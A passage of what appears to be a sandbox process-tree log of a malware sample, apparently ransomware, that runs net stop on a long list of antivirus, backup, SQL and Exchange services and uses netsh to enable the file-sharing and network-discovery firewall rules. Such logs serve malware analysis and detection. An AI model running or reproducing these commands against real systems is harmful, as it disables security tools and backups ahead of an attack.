"net.exe" stop MBAMService /y
2⤵
PID:268

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MBAMService /y
3⤵
PID:572

C:\Windows\system32\net.exe
"net.exe" stop KAVFSGT /y
2⤵
PID:588

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop KAVFSGT /y
3⤵
PID:632

C:\Windows\system32\net.exe
"net.exe" stop VeeamBackupSvc /y
2⤵
PID:1744

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamBackupSvc /y
3⤵
PID:1492

C:\Windows\system32\net.exe
"net.exe" stop VeeamDeploySvc /y
2⤵
PID:280

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamDeploySvc /y
3⤵
PID:828

C:\Windows\system32\net.exe
"net.exe" stop MSSQLSERVER /y
2⤵
PID:1032

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQLSERVER /y
3⤵
PID:1020

C:\Windows\system32\net.exe
"net.exe" stop MSSQLFDLauncher$SHAREPOINT /y
2⤵
PID:1116

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$SHAREPOINT /y
3⤵
PID:864

C:\Windows\system32\net.exe
"net.exe" stop MBEndpointAgent /y
2⤵
PID:1580

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MBEndpointAgent /y
3⤵
PID:760

C:\Windows\system32\net.exe
"net.exe" stop kavfsslp /y
2⤵
PID:800

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop kavfsslp /y
3⤵
PID:1012

C:\Windows\system32\net.exe
"net.exe" stop VeeamBrokerSvc /y
2⤵
PID:1528

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamBrokerSvc /y
3⤵
PID:1732

C:\Windows\system32\net.exe
"net.exe" stop VeeamEnterpriseManagerSvc /y
2⤵
PID:1696

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamEnterpriseManagerSvc /y
3⤵
PID:1456

C:\Windows\system32\net.exe
"net.exe" stop MSSQLServerADHelper /y
2⤵
PID:1492

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQLServerADHelper /y
3⤵
PID:752

C:\Windows\system32\net.exe
"net.exe" stop mfefire /y
2⤵
PID:996

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop mfefire /y
3⤵
PID:336

C:\Windows\system32\net.exe
"net.exe" stop McAfeeEngineService /y
2⤵
PID:864

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop McAfeeEngineService /y
3⤵
PID:452

C:\Windows\system32\net.exe
"net.exe" stop wbengine /y
2⤵
PID:1188

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop wbengine /y
3⤵
PID:1752

C:\Windows\system32\net.exe
"net.exe" stop ReportServer$SQL_2008 /y
2⤵
PID:548

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ReportServer$SQL_2008 /y
3⤵
PID:1588

C:\Windows\system32\net.exe
"net.exe" stop VeeamHvIntegrationSvc /y
2⤵
PID:1128

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamHvIntegrationSvc /y
3⤵
PID:112

C:\Windows\system32\net.exe
"net.exe" stop avpsus /y
2⤵
PID:1760

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop avpsus /y
3⤵
PID:452

C:\Windows\system32\net.exe
"net.exe" stop MSSQLServerADHelper100 /y
2⤵
PID:668

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQLServerADHelper100 /y
3⤵
PID:1932

C:\Windows\system32\net.exe
"net.exe" stop mfemms /y
2⤵
PID:340

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop mfemms /y
3⤵
PID:1320

C:\Windows\system32\net.exe
"net.exe" stop McAfeeDLPAgentService /y
2⤵
PID:1620

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
3⤵
PID:584

C:\Windows\system32\net.exe
"net.exe" stop wbengine /y
2⤵
PID:572

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop wbengine /y
3⤵
PID:1176

C:\Windows\system32\net.exe
"net.exe" stop McAfeeFramework /y
2⤵
PID:1344

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop McAfeeFramework /y
3⤵
PID:452

C:\Windows\system32\net.exe
"net.exe" stop mfewc /y
2⤵
PID:924

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop mfewc /y
3⤵
PID:632

C:\Windows\system32\net.exe
"net.exe" stop VeeamMountSvc /y
2⤵
PID:1932

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamMountSvc /y
3⤵
PID:112

C:\Windows\system32\net.exe
"net.exe" stop ccEvtMgr /y
2⤵
PID:544

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ccEvtMgr /y
3⤵
PID:1392

C:\Windows\system32\net.exe
"net.exe" stop RESvc /y
2⤵
PID:752

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop RESvc /y
3⤵
PID:760

C:\Windows\system32\net.exe
"net.exe" stop mfevtp /y
2⤵
PID:1176

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop mfevtp /y
3⤵
PID:1020

C:\Windows\system32\net.exe
"net.exe" stop MSSQLServerOLAPService /y
2⤵
PID:1320

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQLServerOLAPService /y
3⤵
PID:632

C:\Windows\system32\net.exe
"net.exe" stop ccSetMgr /y
2⤵
PID:580

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ccSetMgr /y
3⤵
PID:1064

C:\Windows\system32\net.exe
"net.exe" stop BMR Boot Service /y
2⤵
PID:1648

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BMR Boot Service /y
3⤵
PID:380

C:\Windows\system32\net.exe
"net.exe" stop McAfeeFrameworkMcAfeeFramework /y
2⤵
PID:112

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop McAfeeFrameworkMcAfeeFramework /y
3⤵
PID:1752

C:\Windows\system32\net.exe
"net.exe" stop SavRoam /y
2⤵
PID:556

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SavRoam /y
3⤵
PID:928

C:\Windows\system32\net.exe
"net.exe" stop sms_site_sql_backup /y
2⤵
PID:1392

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop sms_site_sql_backup /y
3⤵
PID:1544

C:\Windows\system32\net.exe
"net.exe" stop VeeamNFSSvc /y
2⤵
PID:828

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamNFSSvc /y
3⤵
PID:1732

C:\Windows\system32\net.exe
"net.exe" stop RTVscan /y
2⤵
PID:336

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop RTVscan /y
3⤵
PID:760

C:\Windows\system32\net.exe
"net.exe" stop SQLAgent$BKUPEXEC /y
2⤵
PID:1152

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$BKUPEXEC /y
3⤵
PID:512

C:\Windows\system32\net.exe
"net.exe" stop NetBackup BMR MTFTP Service /y
2⤵
PID:1752

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
3⤵
PID:512

C:\Windows\system32\net.exe
"net.exe" stop MySQL57 /y
2⤵
PID:1012

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MySQL57 /y
3⤵
PID:632

C:\Windows\system32\net.exe
"net.exe" stop QBFCService /y
2⤵
PID:1776

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop QBFCService /y
3⤵
PID:1456

C:\Windows\system32\net.exe
"net.exe" stop DefWatch /y
2⤵
PID:1064

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop DefWatch /y
3⤵
PID:632

C:\Windows\system32\net.exe
"net.exe" stop MSSQL$SOPHOS /y
2⤵
PID:452

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$SOPHOS /y
3⤵
PID:2052

C:\Windows\system32\net.exe
"net.exe" stop McShield /y
2⤵
PID:1340

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop McShield /y
3⤵
PID:1544

C:\Windows\system32\net.exe
"net.exe" stop QBIDPService /y
2⤵
PID:1588

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop QBIDPService /y
3⤵
PID:760

C:\Windows\system32\net.exe
"net.exe" stop VSNAPVSS /y
2⤵
PID:928

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VSNAPVSS /y
3⤵
PID:2096

C:\Windows\system32\net.exe
"net.exe" stop VeeamRESTSvc /y
2⤵
PID:2064

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamRESTSvc /y
3⤵
PID:2128

C:\Windows\system32\net.exe
"net.exe" stop Intuit.QuickBooks.FCS /y
2⤵
PID:2080

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
3⤵
PID:2156

C:\Windows\system32\net.exe
"net.exe" stop VeeamTransportSvc /y
2⤵
PID:2108

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamTransportSvc /y
3⤵
PID:2192

C:\Windows\system32\net.exe
"net.exe" stop SQLAgent$CITRIX_METAFRAME /y
2⤵
PID:2116

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$CITRIX_METAFRAME /y
3⤵
PID:2184

C:\Windows\system32\net.exe
"net.exe" stop sacsvr /y
2⤵
PID:2204

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop sacsvr /y
3⤵
PID:2292

C:\Windows\system32\net.exe
"net.exe" stop QBCFMonitorService /y
2⤵
PID:2212

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop QBCFMonitorService /y
3⤵
PID:2300

C:\Windows\system32\net.exe
"net.exe" stop VeeamDeploymentService /y
2⤵
PID:2236

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamDeploymentService /y
3⤵
PID:2316

C:\Windows\system32\net.exe
"net.exe" stop MySQL80 /y
2⤵
PID:2168

C:\Windows\system32\net.exe
"net.exe" stop McTaskManager /y
2⤵
PID:2272

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop McTaskManager /y
3⤵
PID:2332

C:\Windows\system32\net.exe
"net.exe" stop SQLAgent$CXDB /y
2⤵
PID:2324

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$CXDB /y
3⤵
PID:2404

C:\Windows\system32\net.exe
"net.exe" stop YooBackup /y
2⤵
PID:2308

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop YooBackup /y
3⤵
PID:2412

C:\Windows\system32\net.exe
"net.exe" stop VeeamNFSSvc /y
2⤵
PID:2360

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamNFSSvc /y
3⤵
PID:2436

C:\Windows\system32\net.exe
"net.exe" stop VeeamTransportSvc /y
2⤵
PID:2380

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamTransportSvc /y
3⤵
PID:2428

C:\Windows\system32\net.exe
"net.exe" stop SAVAdminService /y
2⤵
PID:2420

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SAVAdminService /y
3⤵
PID:2512

C:\Windows\system32\net.exe
"net.exe" stop YooIT /y
2⤵
PID:2444

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop YooIT /y
3⤵
PID:2524

C:\Windows\system32\net.exe
"net.exe" stop OracleClientCache80 /y
2⤵
PID:2452

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop OracleClientCache80 /y
3⤵
PID:2532

C:\Windows\system32\net.exe
"net.exe" stop veeam /y
2⤵
PID:2476

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop veeam /y
3⤵
PID:2576

C:\Windows\system32\net.exe
"net.exe" stop SQLAgent$ECWDB2 /y
2⤵
PID:2540

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$ECWDB2 /y
3⤵
PID:2628

C:\Windows\system32\net.exe
"net.exe" stop zhudongfangyu /y
2⤵
PID:2548

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop zhudongfangyu /y
3⤵
PID:2644

C:\Windows\system32\net.exe
"net.exe" stop SQLAgent$PRACTTICEBGC /y
2⤵
PID:2592

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$PRACTTICEBGC /y
3⤵
PID:2664

C:\Windows\system32\net.exe
"net.exe" stop PDVFSService /y
2⤵
PID:2612

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop PDVFSService /y
3⤵
PID:2680

C:\Windows\system32\net.exe
"net.exe" stop SAVService /y
2⤵
PID:2672

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SAVService /y
3⤵
PID:2728

C:\Windows\system32\net.exe
"net.exe" stop stc_raw_agent /y
2⤵
PID:2656

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop stc_raw_agent /y
3⤵
PID:2736

C:\Windows\system32\net.exe
"net.exe" stop SepMasterService /y
2⤵
PID:2708

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SepMasterService /y
3⤵
PID:2764

C:\Windows\system32\net.exe
"net.exe" stop SQLAgent$SYSTEM_BGC /y
2⤵
PID:2748

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$SYSTEM_BGC /y
3⤵
PID:2836

C:\Windows\system32\net.exe
"net.exe" stop BackupExecVSSProvider /y
2⤵
PID:2780

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecVSSProvider /y
3⤵
PID:2852

C:\Windows\system32\net.exe
"net.exe" stop SQLAgent$PRACTTICEMGT /y
2⤵
PID:2800

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$PRACTTICEMGT /y
3⤵
PID:2860

C:\Windows\system32\net.exe
"net.exe" stop BackupExecAgentBrowser /y
2⤵
PID:2756

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
3⤵
PID:2844

C:\Windows\system32\net.exe
"net.exe" stop swi_filter /y
2⤵
PID:2868

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop swi_filter /y
3⤵
PID:2936

C:\Windows\system32\net.exe
"net.exe" stop BackupExecDiveciMediaService /y
2⤵
PID:2876

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
3⤵
PID:2976

C:\Windows\system32\net.exe
"net.exe" stop ShMonitor /y
2⤵
PID:2892

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ShMonitor /y
3⤵
PID:2992

C:\Windows\system32\net.exe
"net.exe" stop BackupExecAgentAccelerator /y
2⤵
PID:2916

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
3⤵
PID:2968

C:\Windows\system32\net.exe
"net.exe" stop SQLAgent$TPS /y
2⤵
PID:2960

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$TPS /y
3⤵
PID:3064

C:\Windows\system32\net.exe
"net.exe" stop “Enterprise Client Service” /y
2⤵
PID:3020

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Enterprise Client Service” /y
3⤵
PID:1160

C:\Windows\system32\net.exe
"net.exe" stop BackupExecJobEngine /y
2⤵
PID:3004

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecJobEngine /y
3⤵
PID:1260

C:\Windows\system32\net.exe
"net.exe" stop SQLAgent$PROD /y
2⤵
PID:3044

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$PROD /y
3⤵
PID:2052

C:\Windows\system32\net.exe
"net.exe" stop swi_service /y
2⤵
PID:1732

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop swi_service /y
3⤵
PID:2144

C:\Windows\system32\net.exe
"net.exe" stop BackupExecManagementService /y
2⤵
PID:792

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecManagementService /y
3⤵
PID:2120

C:\Windows\system32\net.exe
"net.exe" stop “SQL Backups /y
2⤵
PID:2100

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “SQL Backups /y
3⤵
PID:2188

C:\Windows\system32\net.exe
"net.exe" stop Smcinst /y
2⤵
PID:2132

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop Smcinst /y
3⤵
PID:2088

C:\Windows\system32\netsh.exe
"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
2⤵
PID:380

C:\Windows\system32\net.exe
"net.exe" stop MsDtsServer100 /y
2⤵
PID:2152

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MsDtsServer100 /y
3⤵
PID:2344

C:\Windows\system32\net.exe
"net.exe" stop SQLAgent$TPSAMA /y
2⤵
PID:2172

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$TPSAMA /y
3⤵
PID:2316

C:\Windows\system32\net.exe
"net.exe" stop SQLAgent$PROFXENGAGEMENT /y
2⤵
PID:2248

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$PROFXENGAGEMENT /y
3⤵
PID:2268

C:\Windows\system32\net.exe
"net.exe" stop BackupExecRPCService /y
2⤵
PID:2084

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop BackupExecRPCService /y
3⤵
PID:2264

C:\Windows\system32\net.exe
"net.exe" stop swi_update /y
2⤵
PID:2352

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop swi_update /y
3⤵
PID:2436

C:\Windows\system32\net.exe
"net.exe" stop NetMsmqActivator /y
2⤵
PID:2288

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop NetMsmqActivator /y
3⤵
PID:2516

C:\Windows\system32\net.exe
"net.exe" stop AcrSch2Svc /y
2⤵
PID:2408

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop AcrSch2Svc /y
3⤵
PID:2464

C:\Windows\system32\net.exe
"net.exe" stop SmcService /y
2⤵
PID:2416

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SmcService /y
3⤵
PID:2424

C:\Windows\system32\net.exe
"net.exe" stop SQLAgent$VEEAMSQL2008R2 /y
2⤵
PID:2388

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2008R2 /y
3⤵
PID:2468

C:\Windows\system32\net.exe
"net.exe" stop AcronisAgent /y
2⤵
PID:2460

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop AcronisAgent /y
3⤵
PID:2624

C:\Windows\system32\net.exe
"net.exe" stop MSExchangeIS /y
2⤵
PID:2580

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSExchangeIS /y
3⤵
PID:2720

C:\Windows\system32\netsh.exe
"netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
2⤵
PID:2532

C:\Windows\system32\net.exe
"net.exe" stop SQLAgent$SBSMONITORING /y
2⤵
PID:2568

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$SBSMONITORING /y
3⤵
PID:2636

C:\Windows\system32\net.exe
"net.exe" stop swi_update_64 /y
2⤵
PID:2628

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop swi_update_64 /y
3⤵
PID:2728

C:\Windows\system32\net.exe
"net.exe" stop CASAD2DWebSvc /y
2⤵
PID:2668

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop CASAD2DWebSvc /y
3⤵
PID:2620

C:\Windows\system32\net.exe
"net.exe" stop SQLAgent$VEEAMSQL2012 /y
2⤵
PID:2696

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2012 /y
3⤵
PID:2760

C:\Windows\system32\net.exe
"net.exe" stop SntpService /y
2⤵
PID:2736

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SntpService /y
3⤵
PID:2840

C:\Windows\system32\net.exe
"net.exe" stop “Sophos AutoUpdate Service” /y
2⤵
PID:2776

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Sophos AutoUpdate Service” /y
3⤵
PID:2864

C:\Windows\system32\net.exe
"net.exe" stop CAARCUpdateSvc /y
2⤵
PID:2744

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop CAARCUpdateSvc /y
3⤵
PID:2828

C:\Windows\system32\net.exe
"net.exe" stop TmCCSF /y
2⤵
PID:2860

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop TmCCSF /y
3⤵
PID:2920

C:\Windows\system32\net.exe
"net.exe" stop SQLAgent$SHAREPOINT /y
2⤵
PID:2928

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$SHAREPOINT /y
3⤵
PID:3060

C:\Windows\system32\net.exe
"net.exe" stop SamSs /y
2⤵
PID:2884

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SamSs /y
3⤵
PID:3064

C:\Windows\system32\net.exe
"net.exe" stop sophos /y
2⤵
PID:2940

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop sophos /y
3⤵
PID:2996

C:\Windows\system32\net.exe
"net.exe" stop SQLBrowser /y
2⤵
PID:2900

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLBrowser /y
3⤵
PID:1544

C:\Windows\system32\net.exe
"net.exe" stop “Acronis VSS Provider” /y
2⤵
PID:2984

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Acronis VSS Provider” /y
3⤵
PID:2160

C:\Windows\system32\net.exe
"net.exe" stop sophossps /y
2⤵
PID:3052

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop sophossps /y
3⤵
PID:2092

C:\Windows\system32\net.exe
"net.exe" stop ReportServer /y
2⤵
PID:3012

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ReportServer /y
3⤵
PID:2188

C:\Windows\system32\net.exe
"net.exe" stop tmlisten /y
2⤵
PID:2052

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop tmlisten /y
3⤵
PID:1752

C:\Windows\system32\net.exe
"net.exe" stop SQLAgent$SQL_2008 /y
2⤵
PID:2140

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$SQL_2008 /y
3⤵
PID:1116

C:\Windows\system32\net.exe
"net.exe" stop MsDtsServer /y
2⤵
PID:632

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MsDtsServer /y
3⤵
PID:2672

C:\Windows\system32\net.exe
"net.exe" stop “SQLsafe Backup Service” /y
2⤵
PID:3004

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “SQLsafe Backup Service” /y
3⤵
PID:2380

C:\Windows\system32\net.exe
"net.exe" stop IISAdmin /y
2⤵
PID:1340

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop IISAdmin /y
3⤵
PID:1128

C:\Windows\system32\net.exe
"net.exe" stop SQLSafeOLRService /y
2⤵
PID:2592

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLSafeOLRService /y
3⤵
PID:3044

C:\Windows\system32\net.exe
"net.exe" stop SQLAgent$SOPHOS /y
2⤵
PID:548

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$SOPHOS /y
3⤵
PID:2656

C:\Windows\system32\net.exe
"net.exe" stop MsDtsServer110 /y
2⤵
PID:2452

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MsDtsServer110 /y
3⤵
PID:2476

C:\Windows\system32\net.exe
"net.exe" stop TrueKey /y
2⤵
PID:1188

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop TrueKey /y
3⤵
PID:2204

C:\Windows\system32\net.exe
"net.exe" stop MSExchangeES /y
2⤵
PID:1392

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSExchangeES /y
3⤵
PID:2708

C:\Windows\system32\net.exe
"net.exe" stop SQLAgent$SQLEXPRESS /y
2⤵
PID:864

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$SQLEXPRESS /y
3⤵
PID:1012

C:\Windows\system32\net.exe
"net.exe" stop POP3Svc /y
2⤵
PID:1344

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop POP3Svc /y
3⤵
PID:2612

C:\Windows\system32\net.exe
"net.exe" stop SQLSERVERAGENT /y
2⤵
PID:2540

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLSERVERAGENT /y
3⤵
PID:2196

C:\Windows\system32\net.exe
"net.exe" stop svcGenericHost /y
2⤵
PID:1332

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop svcGenericHost /y
3⤵
PID:2088

C:\Windows\system32\net.exe
"net.exe" stop “Sophos Agent” /y
2⤵
PID:2800

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Sophos Agent” /y
3⤵
PID:2224

C:\Windows\system32\net.exe
"net.exe" stop MSExchangeMGMT /y
2⤵
PID:2156

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSExchangeMGMT /y
3⤵
PID:820

C:\Windows\system32\net.exe
"net.exe" stop EraserSvc11710 /y
2⤵
PID:2144

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop EraserSvc11710 /y
3⤵
PID:2132

C:\Windows\system32\net.exe
"net.exe" stop SQLTELEMETRY /y
2⤵
PID:2200

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLTELEMETRY /y
3⤵
PID:900

C:\Windows\system32\net.exe
"net.exe" stop TrueKeyScheduler /y
2⤵
PID:2240

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop TrueKeyScheduler /y
3⤵
PID:1792

C:\Windows\system32\net.exe
"net.exe" stop msftesql$PROD /y
2⤵
PID:1512

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop msftesql$PROD /y
3⤵
PID:2464

C:\Windows\system32\net.exe
"net.exe" stop “Sophos Clean Service” /y
2⤵
PID:2256

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Sophos Clean Service” /y
3⤵
PID:2368

C:\Windows\system32\net.exe
"net.exe" stop TrueKeyServiceHelper /y
2⤵
PID:2216

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop TrueKeyServiceHelper /y
3⤵
PID:2432

C:\Windows\system32\net.exe
"net.exe" stop ReportServer$TPSAMA /y
2⤵
PID:2348

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ReportServer$TPSAMA /y
3⤵
PID:2424

C:\Windows\system32\net.exe
"net.exe" stop SstpSvc /y
2⤵
PID:2404

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SstpSvc /y
3⤵
PID:2372

C:\Windows\system32\net.exe
"net.exe" stop SQLTELEMETRY$ECWDB2 /y
2⤵
PID:2068

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLTELEMETRY$ECWDB2 /y
3⤵
PID:2312

C:\Windows\system32\net.exe
"net.exe" stop SMTPSvc /y
2⤵
PID:2084

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SMTPSvc /y
3⤵
PID:2624

C:\Windows\system32\net.exe
"net.exe" stop “Zoolz 2 Service” /y
2⤵
PID:2172

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Zoolz 2 Service” /y
3⤵
PID:2484

C:\Windows\system32\net.exe
"net.exe" stop WRSVC /y
2⤵
PID:2604

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop WRSVC /y
3⤵
PID:2676

C:\Windows\system32\net.exe
"net.exe" stop MSOLAP$TPS /y
2⤵
PID:2448

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSOLAP$TPS /y
3⤵
PID:2720

C:\Windows\system32\net.exe
"net.exe" stop MSExchangeMTA /y
2⤵
PID:2588

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSExchangeMTA /y
3⤵
PID:2664

C:\Windows\system32\net.exe
"net.exe" stop mssql$vim_sqlexp /y
2⤵
PID:2596

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop mssql$vim_sqlexp /y
3⤵
PID:2704

C:\Windows\system32\net.exe
"net.exe" stop ReportServer$SQL_2008 /y
2⤵
PID:2584

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ReportServer$SQL_2008 /y
3⤵
PID:2792

C:\Windows\system32\net.exe
"net.exe" stop “aphidmonitorservice” /y
2⤵
PID:2600

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “aphidmonitorservice” /y
3⤵
PID:2812

C:\Windows\system32\net.exe
"net.exe" stop “Sophos Device Control Service” /y
2⤵
PID:2796

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “Sophos Device Control Service” /y
3⤵
PID:2856

C:\Windows\system32\net.exe
"net.exe" stop vapiendpoint /y
2⤵
PID:2804

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop vapiendpoint /y
3⤵
PID:2912

C:\Windows\system32\net.exe
"net.exe" stop “SQLsafe Filter Service” /y
2⤵
PID:2808

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop “SQLsafe Filter Service” /y
3⤵
PID:2632

C:\Windows\system32\net.exe
"net.exe" stop msexchangeadtopology /y
2⤵
PID:2816

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop msexchangeadtopology /y
3⤵
PID:2644

C:\Windows\system32\net.exe
"net.exe" stop MSSQL$ECWDB2 /y
2⤵
PID:2772

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$ECWDB2 /y
3⤵
PID:960

C:\Windows\system32\net.exe
"net.exe" stop ReportServer$SYSTEM_BGC /y
2⤵
PID:2924

C:\Windows\system32\net1.exe
